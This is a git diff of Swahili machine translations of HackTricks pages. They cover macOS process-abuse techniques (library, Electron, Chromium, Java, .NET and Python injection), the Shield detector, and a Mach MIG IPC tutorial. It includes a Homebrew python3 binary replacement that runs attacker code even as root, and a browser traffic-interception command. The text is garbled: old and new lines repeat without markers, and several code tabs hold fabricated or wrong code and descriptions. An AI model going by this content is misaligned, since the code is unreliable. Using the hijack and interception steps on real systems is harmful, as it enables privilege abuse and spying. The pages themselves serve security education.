MacOS, kama mfumo mwingine wowote wa uendeshaji, hutoa njia na mbinu mbalimbali za **mchakato kuingiliana, kuwasiliana, na kushiriki data**. Ingawa njia hizi ni muhimu kwa utendaji mzuri wa mfumo, zinaweza kutumiwa vibaya na wahalifu wa mtandao kufanya **shughuli za uovu**.
### Uingizaji wa Maktaba
### Kuingiza Maktaba
Uingizaji wa Maktaba ni mbinu ambapo mshambuliaji **anawalazimisha mchakato kusoma maktaba yenye nia mbaya**. Mara baada ya kuingizwa, maktaba hiyo inaendesha katika muktadha wa mchakato wa lengo, ikimpa mshambuliaji idhini na ufikiaji sawa na mchakato huo.
Kuingiza Maktaba ni mbinu ambapo mshambuliaji **anailazimisha mchakato kusoma maktaba mbaya**. Mara ilipoingizwa, maktaba hiyo inaendeshwa katika muktadha wa mchakato lengwa, ikimpa mshambuliaji idhini na ufikiaji sawa na mchakato.
{% content-ref url="macos-library-injection/" %}
[macos-library-injection](macos-library-injection/)
@ -28,7 +28,7 @@ Uingizaji wa Maktaba ni mbinu ambapo mshambuliaji **anawalazimisha mchakato kuso
### Kufunga Kazi
Kufunga Kazi ni mchakato wa **kukamata wito wa kazi** au ujumbe ndani ya nambari ya programu. Kwa kufunga kazi, mshambuliaji anaweza **kubadilisha tabia** ya mchakato, kuchunguza data nyeti, au hata kupata udhibiti wa mtiririko wa utekelezaji.
Kufunga Kazi inahusisha **kukamata simu za kazi** au ujumbe ndani ya nambari ya programu. Kwa kufunga kazi, mshambuliaji anaweza **kurekebisha tabia** ya mchakato, kuchunguza data nyeti, au hata kupata udhibiti wa mtiririko wa utekelezaji.
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
@ -36,72 +36,80 @@ Kufunga Kazi ni mchakato wa **kukamata wito wa kazi** au ujumbe ndani ya nambari
### Mawasiliano kati ya Mchakato
Mawasiliano kati ya Mchakato (IPC) inahusu njia tofauti ambazo michakato tofauti **inashiriki na kubadilishana data**. Ingawa IPC ni muhimu kwa matumizi mengi halali, inaweza pia kutumiwa vibaya kwa kuvunja kizuizi cha mchakato, kuvuja habari nyeti, au kufanya vitendo visivyoruhusiwa.
Mawasiliano kati ya Mchakato (IPC) inahusu njia tofauti ambazo mchakato tofauti **hushiriki na kubadilishana data**. Ingawa IPC ni muhimu kwa programu nyingi halali, inaweza pia kutumiwa vibaya kwa kukiuka kizuizi cha mchakato, kuvuja kwa habari nyeti, au kufanya vitendo visivyoruhusiwa.
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
### Uingizaji wa Programu za Electron
### Kuingiza Programu za Electron
Programu za Electron zilizoendeshwa na mazingira maalum ya env zinaweza kuwa na udhaifu wa uingizaji wa mchakato:
Programu za Electron zilizoendeshwa na mazingira maalum zinaweza kuwa na hatari ya kuingiza mchakato:
{% content-ref url="macos-electron-applications-injection.md" %}
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
{% endcontent-ref %}
### Kuingiza Chromium
Inawezekana kutumia bendera `--load-extension` na `--use-fake-ui-for-media-stream` kufanya **mashambulizi ya mtu katika kivinjari** kuruhusu kuiba pigo la kibodi, trafiki, vidakuzi, kuingiza skripti kwenye kurasa...:
{% content-ref url="macos-chromium-injection.md" %}
[macos-chromium-injection.md](macos-chromium-injection.md)
{% endcontent-ref %}
### NIB Chafu
Faili za NIB **hutambua vipengele vya kiolesura cha mtumiaji (UI)** na mwingiliano wao ndani ya programu. Walakini, wanaweza **kutekeleza amri za kiholela** na **Gatekeeper haikatazi** programu iliyotekelezwa tayari kutoka kutekelezwa ikiwa faili ya NIB imebadilishwa. Kwa hivyo, wanaweza kutumiwa kufanya programu za kiholela kutekeleza amri za kiholela:
Faili za NIB **hufafanua vipengele vya interface ya mtumiaji (UI)** na mwingiliano wao ndani ya programu. Walakini, wanaweza **kutekeleza amri za kupindukia** na **Gatekeeper haisimamishi** programu iliyotekelezwa tayari isitekelezwe ikiwa faili ya **NIB imebadilishwa**. Kwa hivyo, zinaweza kutumika kufanya programu za kupindukia zitekeleze amri za kupindukia:
{% content-ref url="macos-dirty-nib.md" %}
[macos-dirty-nib.md](macos-dirty-nib.md)
{% endcontent-ref %}
### Uingizaji wa Programu za Java
### Kuingiza Programu za Java
Inawezekana kutumia uwezo fulani wa Java (kama **`_JAVA_OPTS`** env variable) ili kufanya programu ya Java itekeleze **msimbo/amri za kiholela**.
Inawezekana kutumia uwezo fulani wa java (kama **`_JAVA_OPTS`** env variable) kufanya programu ya java itekeleze **mimba ya nambari/amri**.
{% content-ref url="macos-java-apps-injection.md" %}
[macos-java-apps-injection.md](macos-java-apps-injection.md)
{% endcontent-ref %}
### Uingizaji wa Programu za .Net
### Kuingiza Programu za .Net
Inawezekana kuingiza msimbo kwenye programu za .Net kwa **kutumia vibaya kazi ya kufuatilia ya .Net** (isiyolindwa na ulinzi wa macOS kama uimarishaji wa wakati wa utekelezaji).
Inawezekana kuingiza nambari kwenye programu za .Net kwa **kutumia vibaya kazi ya kufuatilia ya .Net** (isilindwe na ulinzi wa macOS kama vile ukali wa wakati wa utekelezaji).
{% content-ref url="macos-.net-applications-injection.md" %}
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
{% endcontent-ref %}
### Uingizaji wa Perl
### Kuingiza Perl
Angalia chaguzi tofauti za kufanya script ya Perl itekeleze msimbo wa kiholela:
Angalia chaguzi tofauti za kufanya skripti ya Perl itekeleze nambari ya kupindukia katika:
{% content-ref url="macos-perl-applications-injection.md" %}
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
{% endcontent-ref %}
### Uingizaji wa Ruby
### Kuingiza Ruby
Pia inawezekana kutumia mazingira ya env ya ruby kufanya script za kiholela zitekeleze msimbo wa kiholela:
Pia inawezekana kutumia mazingira ya ruby kufanya skripti za kupindukia zitekeleze nambari ya kupindukia:
{% content-ref url="macos-ruby-applications-injection.md" %}
[macos-ruby-applications-injection.md](macos-ruby-applications-injection.md)
{% endcontent-ref %}
### Uingizaji wa Python
### Kuingiza Python
Ikiwa mazingira ya env ya **`PYTHONINSPECT`** yameset, mchakato wa python utaingia kwenye cli ya python mara tu itakapomalizika. Pia inawezekana kutumia **`PYTHONSTARTUP`** kuonyesha script ya python itekelezwe mwanzoni mwa kikao cha mwingiliano.\
Hata hivyo, kumbuka kuwa script ya **`PYTHONSTARTUP`** haitatekelezwa wakati **`PYTHONINSPECT`** inaunda kikao cha mwingiliano.
Ikiwa mazingira ya **`PYTHONINSPECT`** yanawekwa, mchakato wa python utaingia kwenye cli ya python mara tu itakapomaliza. Pia inawezekana kutumia **`PYTHONSTARTUP`** kuonyesha skripti ya python itekelezwe mwanzoni mwa kikao cha mwingiliano.\
Walakini, kumbuka kwamba skripti ya **`PYTHONSTARTUP`** haitatekelezwa wakati **`PYTHONINSPECT`** inaunda kikao cha mwingiliano.
Mazingira mengine ya env kama **`PYTHONPATH`** na **`PYTHONHOME`** pia yanaweza kuwa na manufaa kufanya amri ya python itekeleze msimbo wa kiholela.
Mazingira mengine kama **`PYTHONPATH`** na **`PYTHONHOME`** pia yanaweza kuwa na manufaa kufanya amri ya python itekeleze nambari ya kupindukia.
Tafadhali kumbuka kuwa programu zilizopachikwa na **`pyinstaller`** hazitatumia mazingira haya ya kimazingira hata kama zinaendeshwa kwa kutumia python iliyowekwa.
Tambua kwamba programu zilizopangwa na **`pyinstaller`** hazitatumia mazingira haya hata kama zinaendeshwa kwa kutumia python iliyowekwa.
{% hint style="danger" %}
Kwa ujumla, sikuweza kupata njia ya kufanya python itekeleze msimbo wa kiholela kwa kutumia vibaya mazingira ya env.\
Hata hivyo, watu wengi hufunga python kwa kutumia **Hombrew**, ambayo itainstall python katika eneo la **kuandika** kwa mtumiaji wa msimamizi wa chaguo-msingi. Unaweza kuchukua udhibiti wake kwa kitu kama:
Kwa ujumla sikuweza kupata njia ya kufanya python itekeleze nambari ya kupindukia kwa kutumia mazingira ya mazingira.\
Walakini, wengi wa watu hufunga pyhton kwa kutumia **Hombrew**, ambayo itaiweka pyhton katika **eneo linaloweza kuandikwa** kwa mtumiaji wa kawaida wa msimamizi. Unaweza kuiba hiyo kwa kitu kama:
```bash
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
cat > /opt/homebrew/bin/python3 <<EOF
@ -112,24 +120,23 @@ EOF
chmod +x /opt/homebrew/bin/python3
```
Hata **root** atakimbia nambari hii wakati wa kukimbia python.
{% endhint %}
## Uchunguzi
### Shield
### Kinga
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) ni programu huria ambayo inaweza **kuchunguza na kuzuia vitendo vya kuingiza mchakato**:
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) ni programu huru ambayo inaweza **kugundua na kuzuia vitendo vya kuingiza mchakato**:
* Kwa kutumia **Mazingira ya Mazingira**: Itakuwa ikifuatilia uwepo wa mojawapo ya mazingira ya mazingira yafuatayo: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** na **`ELECTRON_RUN_AS_NODE`**
* Kwa kutumia wito wa **`task_for_pid`**: Ili kugundua wakati mchakato mmoja anataka kupata **kituo cha kazi cha mchakato mwingine** ambacho kinaruhusu kuingiza nambari katika mchakato.
* **Vigezo vya programu za Electron**: Mtu anaweza kutumia **`--inspect`**, **`--inspect-brk`** na **`--remote-debugging-port`** hoja ya mstari wa amri kuanza programu ya Electron katika hali ya kurekebisha, na hivyo kuingiza nambari ndani yake.
* Kwa kutumia **symlinks** au **hardlinks**: Kawaida unyanyasaji wa kawaida ni kuweka kiunga na **haki za mtumiaji wetu**, na **kuelekeza kwenye eneo lenye haki kubwa**. Uchunguzi ni rahisi sana kwa hardlink na symlinks. Ikiwa mchakato unaounda kiunga una **kiwango tofauti cha haki** kuliko faili ya lengo, tunatengeneza **onyo**. Kwa bahati mbaya katika kesi ya kuzuia symlinks haiwezekani, kwani hatuna habari juu ya marudio ya kiunga kabla ya kuundwa. Hii ni kizuizi cha mfumo wa EndpointSecuriy wa Apple.
* Kutumia **Mazingira ya Mazingira**: Itaangalia uwepo wa mojawapo ya mazingira ya mazingira yafuatayo: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** na **`ELECTRON_RUN_AS_NODE`**
* Kutumia simu za **`task_for_pid`**: Ili kugundua wakati mchakato mmoja anataka kupata **bandari ya kazi ya mwingine** ambayo inaruhusu kuingiza nambari katika mchakato.
* **Parameta za programu za Electron**: Mtu anaweza kutumia **`--inspect`**, **`--inspect-brk`** na **`--remote-debugging-port`** hoja ya mstari wa amri kuanza programu ya Electron katika hali ya kutatua matatizo, na hivyo kuingiza nambari ndani yake.
* Kutumia **viungo vya alama** au **viungo vya ngumu**: Kawaida unyanyasaji wa kawaida ni kuweka kiungo na **ruhusa zetu za mtumiaji**, na **kuielekeza kwenye eneo lenye ruhusa kubwa**. Uchunguzi ni rahisi sana kwa viungo vya ngumu na viungo vya alama. Ikiwa mchakato unaounda kiungo una **kiwango tofauti cha ruhusa** kuliko faili ya lengo, tunatuma **onyo**. Kwa bahati mbaya katika kesi ya viungo vya alama, kuzuia haiwezekani, kwani hatuna habari kuhusu marudio ya kiungo kabla ya uumbaji. Hii ni kizuizi cha mfumo wa EndpointSecuriy wa Apple.
### Wito uliofanywa na michakato mingine
### Simu zilizofanywa na michakato mingine
Katika [**chapisho hili la blogu**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) unaweza kupata jinsi inavyowezekana kutumia kazi ya **`task_name_for_pid`** kupata habari juu ya michakato mingine inayoingiza nambari katika mchakato na kisha kupata habari juu ya mchakato huo mwingine.
Katika [**chapisho hili la blogi**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) unaweza kupata jinsi inavyowezekana kutumia kazi ya **`task_name_for_pid`** kupata habari kuhusu **michakato inayoingiza nambari katika mchakato** mwingine na kisha kupata habari kuhusu mchakato huo.
Tafadhali kumbuka kuwa ili kuita kazi hiyo unahitaji kuwa **uid sawa** na yule anayekimbia mchakato au **root** (na inarudi habari juu ya mchakato, sio njia ya kuingiza nambari).
Tafadhali kumbuka kwamba ili kuita kazi hiyo unahitaji kuwa **uid sawa** na yule anayekimbia mchakato au **root** (na inarudi habari kuhusu mchakato, si njia ya kuingiza nambari).
## Marejeo
@ -138,14 +145,14 @@ Tafadhali kumbuka kuwa ili kuita kazi hiyo unahitaji kuwa **uid sawa** na yule a
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks katika PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,57 @@
# Uingizaji wa Chromium kwenye macOS
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Vivinjari vilivyojengwa kwenye Chromium kama Google Chrome, Microsoft Edge, Brave, na vinginezo. Vivinjari hivi vimejengwa kwenye mradi wa chanzo wazi wa Chromium, maana yake wanashiriki msingi wa pamoja na, kwa hivyo, wana kazi na chaguo za watengenezaji zinazofanana.
#### Bendera ya `--load-extension`
Bendera ya `--load-extension` hutumiwa wakati wa kuanzisha kivinjari kilichojengwa kwenye Chromium kutoka kwenye mstari wa amri au skripti. Bendera hii inaruhusu **kupakia moja au zaidi ya nyongeza kiotomatiki** kwenye kivinjari wakati wa kuanza.
#### Bendera ya `--use-fake-ui-for-media-stream`
Bendera ya `--use-fake-ui-for-media-stream` ni chaguo lingine la mstari wa amri linaloweza kutumika kuanzisha vivinjari vilivyotegemea Chromium. Bendera hii imelenga **kupuuza maombi ya kawaida ya mtumiaji yanayotaka idhini ya kupata mitiririko ya media kutoka kamera na mikrofoni**. Wakati bendera hii inapotumiwa, kivinjari kinatoa idhini kiotomatiki kwa wavuti au programu yoyote inayotaka kupata kamera au mikrofoni.
### Zana
* [https://github.com/breakpointHQ/snoop](https://github.com/breakpointHQ/snoop)
* [https://github.com/breakpointHQ/VOODOO](https://github.com/breakpointHQ/VOODOO)
### Mfano
```bash
# Intercept traffic
voodoo intercept -b chrome
```
Pata mifano zaidi katika viungo vya zana
## Marejeo
* [https://twitter.com/RonMasas/status/1758106347222995007](https://twitter.com/RonMasas/status/1758106347222995007)
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,4 +1,4 @@
# macOS MIG - Jenereta ya Kiolesura cha Mach
# macOS MIG - Mach Interface Generator
<details>
@ -6,15 +6,15 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
MIG iliumbwa ili **kurahisisha mchakato wa kuunda nambari ya Mach IPC**. Kimsingi, ina **jenereta ya nambari inayohitajika** ili seva na mteja waweze kuwasiliana na ufafanuzi uliopewa. Hata kama nambari iliyozalishwa ni mbaya, msanidi programu atahitaji tu kuimporti na nambari yake itakuwa rahisi zaidi kuliko hapo awali.
MIG iliundwa ili **kurahisisha mchakato wa uundaji wa nambari ya Mach IPC**. Kimsingi **inazalisha nambari inayohitajika** kwa server na mteja kuwasiliana na ufafanuzi uliopewa. Hata kama nambari iliyozalishwa ni mbaya, mwandishi wa programu atahitaji tu kuagiza na nambari yake itakuwa rahisi sana kuliko hapo awali.
### Mfano
@ -37,13 +37,13 @@ n2 : uint32_t);
```
{% endcode %}
Sasa tumia mig ili kuzalisha nambari ya seva na mteja ambayo itaweza kuwasiliana ndani yao wenyewe ili kuita kazi ya Subtract:
Sasa tumia mig kuzalisha msimamizi na nambari ya mteja ambayo itaweza kushirikiana ndani yao kuita kazi ya Kutoa:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
Zitafunguliwa faili kadhaa mpya katika saraka ya sasa.
Kuna faili kadhaa mpya zitakazoundwa katika saraka ya sasa.
Katika faili za **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tamko na ufafanuzi wa muundo wa **`SERVERPREFmyipc_subsystem`**, ambao kimsingi unafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe uliopokelewa (tumetaja nambari ya kuanzia 500):
Katika faili za **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tamko na ufafanuzi wa muundo wa **`SERVERPREFmyipc_subsystem`**, ambao kimsingi unafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe uliopokelewa (tulitaja nambari ya kuanzia 500):
{% tabs %}
{% tab title="myipcServer.c" %}
@ -62,43 +62,29 @@ myipc_server_routine,
}
};
```
{% tab title="myipcServer.h" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/message.h>
#include <mach/mig.h>
#include "myipcServer.h"
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
// Handle the incoming message
switch (InHeadP->msgh_id)
{
case MACH_MSG_ID_REQUEST:
printf("Received request message\n");
break;
default:
printf("Unknown message received\n");
break;
}
// Prepare the outgoing message
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
OutHeadP->msgh_size = sizeof(mach_msg_header_t);
OutHeadP->msgh_remote_port = InHeadP->msgh_remote_port;
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = MACH_MSG_ID_REPLY;
return KERN_SUCCESS;
}
```
{% endtab %}
{% tab title="myipcClient.c" %}
{% tab title="myipcServer.h" %}
### macOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code to handle messages sent between processes. MIG interfaces are defined in .defs files, which are then compiled to create the necessary code.
#### Example:
```c
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcServer.h"
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
```
In the example above, `myipc_server` is the function generated by MIG to handle incoming messages. This function processes the messages and sends responses back to the client.
MIG is a powerful tool for handling IPC in macOS, but it can also introduce security risks if not implemented correctly. It is important to carefully review and secure MIG interfaces to prevent unauthorized access and privilege escalation.
{% endtab %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@ -114,7 +100,7 @@ routine[1];
{% endtab %}
{% endtabs %}
Kulingana na muundo uliopita, kazi ya **`myipc_server_routine`** itapokea **kitambulisho cha ujumbe** na kurudisha kazi sahihi ya kuita:
Kulingana na muundo uliopita, kazi **`myipc_server_routine`** itapata **ID ya ujumbe** na kurudisha kazi sahihi ya kuita:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@ -129,16 +115,16 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
Katika mfano huu tumetaja tu kazi 1 katika ufafanuzi, lakini kama tungeweza kutaja kazi zaidi, zingekuwa ndani ya safu ya **`SERVERPREFmyipc_subsystem`** na ya kwanza ingepewa kitambulisho cha **500**, ya pili kitambulisho cha **501**...
Katika mfano huu tumetaja tu 1 kazi katika ufafanuzi, lakini kama tungelitaja kazi zaidi, zingelikuwa ndani ya safu ya **`SERVERPREFmyipc_subsystem`** na ya kwanza ingelipewa kitambulisho cha **500**, ya pili kitambulisho cha **501**...
Kwa kweli niwezekano kutambua uhusiano huu katika muundo wa **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`**:
Kwa kweli ni rahisi kutambua uhusiano huu katika muundo wa **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`**:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
Hatimaye, kazi muhimu nyingine ya kufanya server itakuwa **`myipc_server`**, ambayo ndiyo itakayoitisha kazi inayohusiana na id iliyopokelewa:
Hatimaye, kazi nyingine muhimu ya kufanya server ifanye kazi itakuwa **`myipc_server`**, ambayo ndiyo itakayoitisha **kazi inayohusiana** na kitambulisho kilichopokelewa:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -155,7 +141,7 @@ mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* Ukubwa mdogo: routine() itaupdate ikiwa tofauti */
/* Ukubwa wa chini: routine() itaupdate ikiwa tofauti */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
@ -172,9 +158,9 @@ return FALSE;
}
</code></pre>
Angalia mistari iliyotangazwa hapo awali kwa kufikia kazi ya kuita kwa kutumia ID.
Angalia mistari iliyotangazwa hapo awali kwa kufikia kazi ya kuita kwa ID.
Hapa chini ni nambari ya kuunda **server** na **client** rahisi ambapo client anaweza kuita kazi ya Subtract kutoka kwa server:
Hapa chini ni namna ya kuunda **server** na **client** rahisi ambapo client anaweza kuita kazi ya kutoa kutoka kwa server:
{% tabs %}
{% tab title="myipc_server.c" %}
@ -208,50 +194,9 @@ return 1;
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
```
{% tab title="myipc_client.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipc.h"
int main(int argc, char *argv[]) {
kern_return_t kr;
mach_port_t bootstrap_port, service_port;
char *message = "Hello, server!";
char reply[256];
// Get the bootstrap port
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (kr != KERN_SUCCESS) {
printf("Failed to get bootstrap port: %s\n", mach_error_string(kr));
exit(1);
}
// Look up the service port
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &service_port);
if (kr != KERN_SUCCESS) {
printf("Failed to look up service port: %s\n", mach_error_string(kr));
exit(1);
}
// Send a message to the server
kr = myipc_send_message(service_port, message, reply, sizeof(reply));
if (kr != KERN_SUCCESS) {
printf("Failed to send message: %s\n", mach_error_string(kr));
exit(1);
}
// Print the server's reply
printf("Server replied: %s\n", reply);
return 0;
}
```
{% endtab %}
{% tab title="myipc_client.c" %}Hii ni programu ndogo ya mfano inayoonyesha jinsi ya kutumia MIG kwenye macOS kwa mawasiliano ya mchakato. Programu hii inaunganisha kwenye seva ya mchakato iliyoundwa na `myipc_server.c` na kisha inatumia mchakato wa MIG kufanya wito wa kazi iliyoundwa kwenye seva. Kazi hii inarudi jumla ya idadi ya mchakato wa kazi zilizopo kwenye seva. Programu hii inaonyesha jinsi ya kutumia MIG kwa mawasiliano ya mchakato kwenye macOS.{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -276,25 +221,22 @@ printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
{% endtab %}
{% endtabs %}
### Uchambuzi wa Binary
Kwa kuwa binaries nyingi sasa hutumia MIG kuwezesha mach ports, ni muhimu kujua jinsi ya **kutambua kuwa MIG ilitumika** na **kazi ambazo MIG inatekeleza** kwa kila kitambulisho cha ujumbe.
Kwa kuwa binaries nyingi sasa hutumia MIG kuonyesha mach ports, ni muhimu kujua jinsi ya **kutambua kuwa MIG ilitumika** na **kazi ambazo MIG inatekeleza** kwa kila kitambulisho cha ujumbe.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) inaweza kuchambua habari za MIG kutoka kwenye binary ya Mach-O ikionyesha kitambulisho cha ujumbe na kutambua kazi ya kutekeleza:
